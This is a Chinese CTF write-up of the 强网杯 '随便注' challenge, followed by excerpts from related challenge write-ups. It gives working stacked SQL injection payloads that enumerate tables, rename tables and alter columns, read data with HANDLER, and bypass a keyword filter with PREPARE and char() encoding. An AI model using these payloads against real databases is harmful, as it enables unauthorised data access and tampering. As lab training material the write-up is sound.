[强网杯]随便注

[强网杯]随便注

当所需的语句被ban时可以考虑,用其他方式实现该语句。但是如果想不出同样可以考虑改变数据来利用本来执行的语句。

打开页面,一个输入框,前端注释写了一个SQLMAP是没有灵魂的23333(为我的sqlmap R.I.P),很明显是个注入题。Fuzz之后得到提示过滤了一些参数,并且发现存在堆叠注入。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
111‘;show databases#	//查库

111‘;show tables#		//查表

111‘;desc `1919810931114514`;#		//查1919810931114514中的列

111‘;desc words#			//查words中的列

1‘order by 2#
1‘order by 3#    //得出select了两个数据

因为查询了两个数据,所以查的时words表中的,猜测语句为。

select id,data from words where id = ‘$_GET[inject]‘

方式一

此时我们可以想办法让两表调换,让原语句对我们想要查询的表和字段查询。

  • 修改表名语法
mysql> ALTER TABLE testalter_tbl RENAME TO alter_tbl;
  • 修改字段名及类型语法
mysql> ALTER TABLE testalter_tbl CHANGE i j BIGINT;

EXP:

111‘;rename table words to qwq;rename table `1919810931114514` to words;alter table words change flag id varchar(100)#

这里要注意不要逐句注入,否则前语句会发生错误导致之后无法执行任何语句

最后爆id拿到flag

1‘or 1=1#

方式二

当在Mysql数据库的情况下我们可以使用handler语句。

  • 语法
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

EXP:

‘;handler `1919810931114514` open;handler `1919810931114514` read first#

方式三

预处理语句

PREPARE name from ‘[my sql sequece]‘; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句

变量传递

SET @tn = ‘hahaha‘; //存储表名
SET @sql = concat(‘select * from ‘, @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

EXP:

111‘;PREPARE hacker from concat(char(115,101,108,101,99,116), ‘ * from `1919810931114514` ‘);EXECUTE hacker;#
111‘;SET @sqli=concat(char(115,101,108,101,99,116),‘* from `1919810931114514`‘);PREPARE hacker from @sqli;EXECUTE hacker;#

原文地址:https://www.cnblogs.com/Rainsw0rd/p/12611533.html

时间: 2024-08-30 16:48:22

[强网杯]随便注的相关文章

BUUCTF-[强网杯 2019]随便注

随便注? 那么我就不客气了,先试试返回真值: ' or 1=1# 返回了所有查询内容,共三条,order by猜测字段长,发现为2,验证了一下: 日常操作: ' or 1=1 union select 1,table_name,3 from information_schema.tables# 匹配关键字?百度一下发现是被过滤了,没法使用上面的语句进行查询 手注总没有自动好用,拿去sqlmap跑一下,注出库名:supersqli C:\Program Files\Python38\sqlmap>

强网杯web复现

平台:https://buuoj.cn/challenges 2019 强网杯的题目总结 UPLOAD wp 大佬的 wp : https://www.zhaoj.in/read-5873.html 个人总结 只能上传正常的图片,非 png 格式会自动转化为 png,图片被保存在 upload 目录下 本题是 www.tar.gz 泄露,源码泄露总结点击此处 函数流程: 没有登陆时,跳转到 index.php,进行注册登陆.login_check 函数将 cookie('user') 赋给 pr

2019强网杯部分misc&amp;web

0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证明你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目还是再看一看,复现一下. 0x02 鲲or鳗orGame 最先开始做的便是这道MISC的题目“鲲or鳗orGame” 进入网站后,发现鲲or鳗orGa

第二届“强网杯”全国网络安全挑战赛来袭——线上赛

为全面贯彻习主席关于网络安全和信息化工作的一系列重要指示精神,延揽储备锻炼网信领域优秀人才,提升国家网络空间安全能力水平,举办第二届"强网杯"全国网络安全挑战赛.该比赛是面向高等院校和国内信息安全企业的一次国家级网络安全赛事,旨在通过激烈的网络竞赛对抗,培养和提高国家网络安全保障能力和水平,发现网络安全领域优秀人才,提升全民网络空间的安全意识和能力水平. 比赛链接 官方比赛链接地址:https://www.ichunqiu.com/2018qwb?from=bkyl 比赛时间 线上赛报

刷题记录:[强网杯 2019]Upload

目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境 一.知识点 1.源码泄露 www.tar.gz 2.php反序列化 看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; show columns from 表名; # 不过有点问题,只有words有回显.(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段) 大佬wp展示了一手存储过程绕过 payload: http://web16.buuoj.cn/?inject=1%27;[email 

[BUUOJ记录] [强网杯 2019]随便注(三种方法)

本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject'; 构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可 先列出所有数据库: 1';show databases;# 得到: array(1) { [0]=> string(11) "ctftraining" } array(1) { [0

2015广州强网杯(Misc)

单身狗: 下载图片 被一只狗挡住了的二维码,用图片处理软件把上面两个正方形随便一个覆盖狗的地方 我直接用美图秀秀处理一下,扫一下就得到flag 原文地址:https://www.cnblogs.com/sch01ar/p/8799325.html

CTF 2017强网杯

1.Base64特征 如果这个字符串仅有64个字符(A~Z a~z + / )以及后缀=组成,一般就可以判断是经过base64编码过的字符串字符串的字节数(不包括等号并且去掉4-等号个数个字节数)一定是4的倍数 2.ROT13 HACKBAR中带有这个工具 #修改Cookie 3.构造PHP 要学的东西好多 原文地址:https://www.cnblogs.com/rookieDanny/p/8306697.html